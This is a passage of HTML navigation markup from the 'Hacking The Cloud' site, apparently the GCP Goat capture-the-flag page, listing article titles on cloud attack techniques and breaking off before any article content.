1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4 checked> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav 